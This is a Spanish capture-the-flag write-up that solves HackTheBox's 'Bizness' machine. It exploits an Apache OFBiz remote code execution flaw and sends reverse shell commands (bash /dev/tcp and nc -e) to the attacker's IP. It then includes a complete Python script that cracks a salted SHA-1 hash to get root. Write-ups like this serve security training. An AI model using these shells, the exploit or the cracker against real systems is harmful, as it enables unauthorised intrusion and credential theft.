Bizness – HackTheBox Link to heading
- OS: Linux
- Difficulty / Dificultad: Easy / Fácil
- Platform / Plataforma: HackTheBox
Resumen Link to heading
Bizness es una máquina simple y fácil de HackTheBox. A través de un simple escaneo de directorios ocultos encontramos que el servidor web está corriendo una versión vulnerable de Apache OFBiz
la cual permite Ejecución Remota de Comandos (Remote Code Execution
). Una vez dentro de la máquina podemos buscar data en archivos internos y, eventualmente, encontrar una contraseña encriptada. Usando estas credenciales encriptadas, junto con un diccionario de contraseñas típico, somos capaces de encontrar la contraseña del usuario root
.
User / Usuario Link to heading
Realizando un scan con Nmap
muestra 4 puertos abiertos: 22
SSH
, 80
HTTP
, 443
HTTPs
, y 46513
un servicio desconocido.
❯ sudo nmap -sVC -p22,80,443,46513 10.10.11.252 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-12 21:59 -04
Nmap scan report for 10.10.11.252
Host is up (0.19s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0)
| ssh-hostkey:
| 3072 3e:21:d5:dc:2e:61:eb:8f:a6:3b:24:2a:b7:1c:05:d3 (RSA)
| 256 39:11:42:3f:0c:25:00:08:d7:2f:1b:51:e0:43:9d:85 (ECDSA)
|_ 256 b0:6f:a0:0a:9e:df:b1:7a:49:78:86:b2:35:40:ec:95 (ED25519)
80/tcp open http nginx 1.18.0
|_http-server-header: nginx/1.18.0
|_http-title: Did not follow redirect to https://bizness.htb/
443/tcp open ssl/http nginx 1.18.0
|_ssl-date: TLS randomness does not represent time
| tls-nextprotoneg:
|_ http/1.1
|_http-server-header: nginx/1.18.0
| tls-alpn:
|_ http/1.1
| ssl-cert: Subject: organizationName=Internet Widgits Pty Ltd/stateOrProvinceName=Some-State/countryName=UK
| Not valid before: 2023-12-14T20:03:40
|_Not valid after: 2328-11-10T20:03:40
|_http-title: Did not follow redirect to https://bizness.htb/
46513/tcp open tcpwrapped
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 26.84 seconds
Del scan puedo notar que el puerto 80
HTTP
está redirigiendo al sitio bizness.htb
, de manera que agrego este dominio, junto con la IP de la máquina víctima, a mi archivo /etc/hosts
:
❯ echo '10.10.11.252 bizness.htb' | sudo tee -a /etc/hosts
Una vez agregado el dominio podemos visitar https://bizness.htb
y podemos ver la siguiente página web:
Muchos de los botones y accessos de esta página web no funcionan, de manera que intentamos encontrar directorios ocultos a través de un Brute Force Directory Listing
usando Gobuster
:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://bizness.htb -t 55 -k --exclude-length 0
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://bizness.htb
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: 0
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/control (Status: 200) [Size: 34633]
/http%3A%2F%2Fwww (Status: 400) [Size: 841]
/http%3A%2F%2Fyoutube (Status: 400) [Size: 841]
/http%3A%2F%2Fblogs (Status: 400) [Size: 841]
/http%3A%2F%2Fblog (Status: 400) [Size: 841]
/**http%3A%2F%2Fwww (Status: 400) [Size: 841]
/External%5CX-News (Status: 400) [Size: 795]
/http%3A%2F%2Fcommunity (Status: 400) [Size: 841]
/http%3A%2F%2Fradar (Status: 400) [Size: 841]
/http%3A%2F%2Fjeremiahgrossman (Status: 400) [Size: 841]
/http%3A%2F%2Fweblog (Status: 400) [Size: 841]
/http%3A%2F%2Fswik (Status: 400) [Size: 841]
Progress: 220560 / 220561 (100.00%)
===============================================================
Finished
===============================================================
donde, sin incluir falsos positivos, encontramos el directorio /control
.
Visitiando este nuevo directorio encontrado, https://bizness.htb/control
, muestra lo siguiente:
donde podemos ver que estamos ante un servidor Apache
, más específicamente ante una versión proyecto OFBiz
.
Buscando por más directorios dentro de /control
, pero esta vez filtrando por falsos positivos (cuyas respuestas tienen una longitud de entre 34000
y 35000
), encontramos más páginas:
❯ gobuster dir -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u https://bizness.htb/control -t 55 -k --exclude-length 34000-35000
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: https://bizness.htb/control
[+] Method: GET
[+] Threads: 55
[+] Wordlist: /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes: 404
[+] Exclude Length: <SNIP>
[+] User Agent: gobuster/3.6
[+] Timeout: 10s
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/login (Status: 200) [Size: 11061]
/main (Status: 200) [Size: 9309]
/help (Status: 200) [Size: 10757]
/view (Status: 200) [Size: 9309]
/logout (Status: 200) [Size: 10757]
/views (Status: 200) [Size: 9309]
/forgotPassword (Status: 200) [Size: 11061]
Si visitamos https://bizness.htb//control/login
podemos ver una página de login:
donde, tal cual se puede observar en el extremo inferior derecho de la imagen, la version del server es 18.12
para Apache
OFBiz
.
Buscando por exploits para esta version encontramos 2 vulnerabilidades: CVE-2023-49070
y CVE-2023-51467
(ver, por ejemplo, este blog). Esta vulnerabilidad ha sido catalogada como crítica dado que permite Remote Code Execution
(RCE
) sin necesidad de estar autenticados.
Encuentro este repositorio de Github para estas vulnerabilidades. Clono el repositorio en mi máquina de atacante:
❯ git clone https://github.com/jakabakos/Apache-OFBiz-Authentication-Bypass.git
Cloning into 'Apache-OFBiz-Authentication-Bypass'...
remote: Enumerating objects: 19, done.
remote: Counting objects: 100% (14/14), done.
remote: Compressing objects: 100% (12/12), done.
remote: Total 19 (delta 3), reused 7 (delta 1), pack-reused 5
Receiving objects: 100% (19/19), 51.44 MiB | 17.24 MiB/s, done.
Resolving deltas: 100% (3/3), done.
❯ cd Apache-OFBiz-Authentication-Bypass
Primero, para chequear si este exploit funciona y logramos un RCE
, me pongo en escuchas por trazas ICMP
con tcpdump
:
❯ sudo tcpdump -ni tun0 icmp
donde tun0
es la interfaz de net de HackTheBox
.
Luego, corro el exploit mandándome un ping
en contra de mi máquina de atacante con IP 10.10.16.6
:
❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'ping -c1 10.10.16.6'
[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.
y en mi listener con tcpdump
obtengo:
❯ sudo tcpdump -ni tun0 icmp
tcpdump: verbose output suppressed, use -v[v]... for full protocol decode
listening on tun0, link-type RAW (Raw IP), snapshot length 262144 bytes
23:14:05.107660 IP 10.10.11.252 > 10.10.16.6: ICMP echo request, id 9015, seq 1, length 64
23:14:05.107676 IP 10.10.16.6 > 10.10.11.252: ICMP echo reply, id 9015, seq 1, length 64
de manera que el exploit funciona.
Empiezo un listener con netcat
por el puerto 443
en mi máquina de atacante:
❯ nc -lvnp 443
listening on [any] 443 ...
y, en otro panel/ventana, corro el exploit enviándome una reverse shell:
❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'bash -c "bash -i >& /dev/tcp/10.10.16.6/443 0>&1"'
[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.
pero no funciona. De manera que en vez de mandarme una reverse shell con el comando bash -i
, esta vez lo intentaré con el binario de netcat
(nc
), corriendo el exploit ahora con:
❯ python3 exploit.py --url 'https://bizness.htb' --cmd 'nc 10.10.16.6 443 -e /bin/bash'
[+] Generating payload...
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
[+] Payload generated successfully.
[+] Sending malicious serialized payload...
[+] The request has been successfully sent. Check the result of the command.
y en mi listener con netcat
obtengo una shell como el usuario ofbiz
:
❯ nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.16.6] from (UNKNOWN) [10.10.11.252] 40808
whoami
ofbiz
donde podemos obtener la flag de usuario en el directorio /home/ofbiz
.
Root Link to heading
Después de buscar por algunos archivos en el directorio /opt/ofbiz
encontramos otro directorio /opt/ofbiz/framework/resources
. Dentro de éste tenemos algunos archivos interesantes:
ofbiz@bizness:/opt/ofbiz/framework/resources$ cd /opt/ofbiz/framework/resources/templates
ofbiz@bizness:/opt/ofbiz/framework/resources/templates$ ls -la
total 112
drwxr-xr-x 2 ofbiz ofbiz-operator 4096 Dec 21 09:15 .
drwxr-xr-x 4 ofbiz ofbiz-operator 4096 Dec 21 09:15 ..
-rw-r--r-- 1 ofbiz ofbiz-operator 1351 Oct 13 2023 AdminNewTenantData-Derby.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1368 Oct 13 2023 AdminNewTenantData-MySQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1378 Oct 13 2023 AdminNewTenantData-Oracle.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1378 Oct 13 2023 AdminNewTenantData-PostgreSQL.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1084 Oct 13 2023 AdminUserLoginData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1135 Oct 13 2023 build.gradle
-rw-r--r-- 1 ofbiz ofbiz-operator 3279 Oct 13 2023 CommonScreens.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2119 Oct 13 2023 controller.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 843 Oct 13 2023 DemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1400 Oct 13 2023 document.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1333 Oct 13 2023 entitymodel.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1028 Oct 13 2023 Forms.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1236 Oct 13 2023 HELP.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 806 Oct 13 2023 index.jsp
-rw-r--r-- 1 ofbiz ofbiz-operator 1304 Oct 13 2023 Menus.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2892 Oct 13 2023 ofbiz-component.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 187 Oct 13 2023 README.txt
-rw-r--r-- 1 ofbiz ofbiz-operator 1582 Oct 13 2023 Screens.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1704 Oct 13 2023 SecurityGroupDemoData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1666 Oct 13 2023 SecurityPermissionSeedData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1318 Oct 13 2023 services.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 1021 Oct 13 2023 Tests.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 843 Oct 13 2023 TypeData.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 2195 Oct 13 2023 UiLabels.xml
-rw-r--r-- 1 ofbiz ofbiz-operator 5050 Oct 13 2023 web.xml
Si chequeamos el archivo AdminUserLoginData.xml
muestra algo:
<?xml version="1.0" encoding="UTF-8"?>
<!--
Licensed to the Apache Software Foundation (ASF) under one
or more contributor license agreements. See the NOTICE file
distributed with this work for additional information
regarding copyright ownership. The ASF licenses this file
to you under the Apache License, Version 2.0 (the
"License"); you may not use this file except in compliance
with the License. You may obtain a copy of the License at
http://www.apache.org/licenses/LICENSE-2.0
Unless required by applicable law or agreed to in writing,
software distributed under the License is distributed on an
"AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
KIND, either express or implied. See the License for the
specific language governing permissions and limitations
under the License.
-->
<entity-engine-xml>
<UserLogin userLoginId="@userLoginId@" currentPassword="{SHA}47ca69ebb4bdc9ae0adec130880165d2cc05db1a" requirePasswordChange="Y"/>
<UserLoginSecurityGroup groupId="SUPER" userLoginId="@userLoginId@" fromDate="2001-01-01 12:00:00.0"/>
Aparentemente, tenemos un hash de una contraseña: 47ca69ebb4bdc9ae0adec130880165d2cc05db1a
Copiando este hash y chequeando su tipo con hash-identifier
confirma que es un hash de tipo SHA
:
❯ hash-identifier
#########################################################################
# __ __ __ ______ _____ #
# /\ \/\ \ /\ \ /\__ _\ /\ _ `\ #
# \ \ \_\ \ __ ____ \ \ \___ \/_/\ \/ \ \ \/\ \ #
# \ \ _ \ /'__`\ / ,__\ \ \ _ `\ \ \ \ \ \ \ \ \ #
# \ \ \ \ \/\ \_\ \_/\__, `\ \ \ \ \ \ \_\ \__ \ \ \_\ \ #
# \ \_\ \_\ \___ \_\/\____/ \ \_\ \_\ /\_____\ \ \____/ #
# \/_/\/_/\/__/\/_/\/___/ \/_/\/_/ \/_____/ \/___/ v1.2 #
# By Zion3R #
# www.Blackploit.com #
# Root@Blackploit.com #
#########################################################################
--------------------------------------------------
HASH: 47ca69ebb4bdc9ae0adec130880165d2cc05db1a
Possible Hashs:
[+] SHA-1
[+] MySQL5 - SHA-1(SHA-1($pass))
No obstante, si intentamos un Brute Force Password Cracking
(crackear la contraseña por fuerza bruta) no funciona.
Pero esto nos da una pista. Empiezo a buscar por más hashes SHA
con grep
:
ofbiz@bizness:/opt/ofbiz$ grep -rE '\$SHA'
grep: runtime/data/derby/ofbiz/seg0/c54d0.dat: binary file matches
grep: runtime/data/derby/ofbiz/seg0/c6650.dat: binary file matches
grep: .gradle/5.0-rc-5/javaCompile/classAnalysis.bin: binary file matches
grep: build/distributions/ofbiz.tar: binary file matches
gradle/init-gradle-wrapper.sh: echo "$SHASUM_GRADLE_WRAPPER_FILES" | shasum -c -;
docker/docker-entrypoint.sh: SHA1SUM_ESCAPED_STRING=$(printf "$SHA1SUM_ASCII_HEX" | sed -e 's/\(..\)\.\?/\\x\1/g')
docker/docker-entrypoint.sh: SHA1SUM_BASE64=$(printf "$SHA1SUM_ESCAPED_STRING" | basenc --base64url --wrap=0 | tr --delete '=')
docker/docker-entrypoint.sh: ENCODED_PASSWORD_HASH="\$SHA\$${SALT}\$${SHA1SUM_BASE64}"
Chequeando los 2 primeros archivos donde el string/palabra $SHA
fue encontrada, además de usar strings
, muestra:
ofbiz@bizness:/opt/ofbiz$ strings runtime/data/derby/ofbiz/seg0/c6650.dat
system
&6)]
system
anonymous
admin
"$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
y
ofbiz@bizness:/opt/ofbiz$ strings runtime/data/derby/ofbiz/seg0/c54d0.dat
8501
<?xml version="1.0" encoding="UTF-8"?>
<ofbiz-ser>
<map-HashMap>
<map-Entry>
<map-Key>
<std-String value="recurrenceInfoId"/>
</map-Key>
<map-Value>
<std-String value="400"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ofbiz-ser>
10000
J<?xml version="1.0" encoding="UTF-8"?><ofbiz-ser>
<map-HashMap>
<map-Entry>
<map-Key>
<std-String value="updatedUserLogin"/>
</map-Key>
<map-Value>
<eeval-UserLogin createdStamp="2023-12-16 03:40:23.643" createdTxStamp="2023-12-16 03:40:23.445" currentPassword="$SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I" enabled="Y" hasLoggedOut="N" lastUpdatedStamp="2023-12-16 03:44:54.272" lastUpdatedTxStamp="2023-12-16 03:44:54.213" requirePasswordChange="N" userLoginId="admin"/>
</map-Value>
</map-Entry>
<map-Entry>
<map-Key>
<std-String value="locale"/>
</map-Key>
<map-Value>
<std-Locale value="en"/>
</map-Value>
</map-Entry>
</map-HashMap>
</ofbiz-ser>
donde tenemos otro hash: $SHA$d$uP0_QaVBpDWFeo8-dRzDqRwXQ2I
.
Basados en la documentación de encriptación de OFBiz podemos ver que d
es el “salt” del hash basados en la porción de código:
public static String cryptBytes(String hashType, String salt, byte[] bytes) {
if (hashType == null) {
hashType = "SHA";
}
if (salt == null) {
salt = RandomStringUtils.random(new SecureRandom().nextInt(15) + 1, CRYPT_CHAR_SET);
}
StringBuilder sb = new StringBuilder();
sb.append("$").append(hashType).append("$").append(salt).append("$");
sb.append(getCryptedBytes(hashType, salt, bytes));
return sb.toString();
}
Creamos un simple script de Python
para desencriptar esta contraseña el cual requiere un salt, un hash y una wordlist (diccionario de contraseñas). En nuestro caso usamos el salt d
, hash uP0_QaVBpDWFeo8-dRzDqRwXQ2I=
(agregando el caracter =
al final de éste) y uso la wordlist/diccionario rockyou
(el cual puede ser descargado desde este link). Nuestro script es:
#!/usr/bin/python3
import hashlib
import base64
import argparse
import sys
def percentage(number: int, total: int)->float:
return (number/total) * 100.
def total_line_lengths(file_path: str)->int:
total_length: int = 0
with open(file_path, 'r', encoding='latin-1') as file:
for line in file:
total_length += len(line)
return total_length
def crypt_password(salt, password):
return hashlib.sha1((salt + password).encode('utf-8')).digest()
def crack_password(salt: str, hash: str, wordlist: str)->str|None:
total_lines = total_line_lengths(wordlist)
with open(wordlist, 'r', encoding='latin-1') as f:
for index, password in enumerate(f):
password = password.strip()
hashed_password = base64.urlsafe_b64encode(crypt_password(salt, password)).decode('utf-8').replace('+', '.')
print(f"[+] Attempting to crack password... ({index+1}/{total_lines} - {percentage(index+1, total_lines):.2f}%)", end="\r")
if hashed_password == hash:
print()
return password
return None
def parse_arguments()->argparse.Namespace:
# Parse command line arguments
parser = argparse.ArgumentParser(description='Crack SHA-1 hashed password',
epilog=f'Example usage:python3 {sys.argv[0]} --salt "d" --hash "<SHA1-hash>" --wordlist "/usr/share/wordlists/rockyou.txt"',
formatter_class=argparse.RawTextHelpFormatter)
parser.add_argument('--sha1', type=str, help='SHA-1 hash to crack', required=True)
parser.add_argument('--salt', type=str, help='Hash salt', required=True)
parser.add_argument('--wordlist', type=str, help='Dictionary to attempt to crack password', required=True)
args = parser.parse_args()
return args
def main()->None:
# Get arguments from user
args = parse_arguments()
# Attempt to crack the password
password = crack_password(args.salt, args.sha1, args.wordlist)
# And display the result (if there is a result)
if password:
print(f"[+] Password found: {password}")
sys.exit(0)
print("[!] Could not find a password")
sys.exit(1)
if __name__ == "__main__":
main()
y corriendo este script obtenemos:
❯ python3 sha1_decryptor.py --sha1 'uP0_QaVBpDWFeo8-dRzDqRwXQ2I=' --salt 'd' --wordlist '/usr/share/wordlists/rockyou.txt'
[+] Attempting to crack password... (1478438/139921507 - 1.06%)
[+] Password found: monkeybizness
donde encontramos una contraseña: monkeybizness
Desde la terminal con la cual ya teníamos acceso a la máquina trato de cambiar al usuario root
corriendo el comando su root
, proveyendo la contraseña monkeybizness
:
ofbiz@bizness:/opt/ofbiz$ su root
Password:
root@bizness:/opt/ofbiz# whoami
root
Y máquina resuelta. Podemos leer la flag de root
en el directorio /root
.